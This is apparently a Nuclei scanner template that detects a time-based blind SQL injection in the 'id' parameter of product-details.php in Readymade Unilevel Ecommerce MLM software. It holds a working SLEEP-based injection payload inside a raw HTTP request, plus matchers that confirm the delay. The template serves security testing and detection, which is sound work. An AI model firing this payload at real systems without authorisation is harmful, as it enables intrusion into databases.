id: readymade-unilevel-sqli

info:
  name: Readymade Unilevel Ecommerce MLM - SQL Injection
  author: s4e-io
  severity: high
  description: |
    Readymade Unilevel Ecommerce software has sql vulnerability in product-details.php?id
  reference:
    - https://packetstormsecurity.com/files/179886/ReadyMade-Unilevel-Ecommerce-MLM-Blind-SQL-Injection-Cross-Site-Scripting.html
  classification:
    cwe-id: CWE-89
  metadata:
    vendor: i-netsolution
    product: readymade-unilevel-ecommerce
  tags: time-based-sqli,ecommerce,readymade,sqli,vuln

http:
  - raw:
      - |
        @timeout 30s
        GET /product-details.php?id=1%20AND%20(SELECT%206812%20FROM%20(SELECT(SLEEP(6)))DddL) HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "duration>=6"
          - "status_code == 200"
          - 'contains(content_type,"text/html")'
          - 'contains_all(body, "user_login_id", "Products</a>")'
        condition: and
# digest: 4a0a00473045022100961311ff1ca9e2266d0e8af589c4286238e60f4a598d3d25b7b57ce48473a73b022014e66e0fdf3abe265bc0187977d826c8f143c1caa4ecef90f08cf059db2f5706:922c64590222798bb761d5b6d8e72950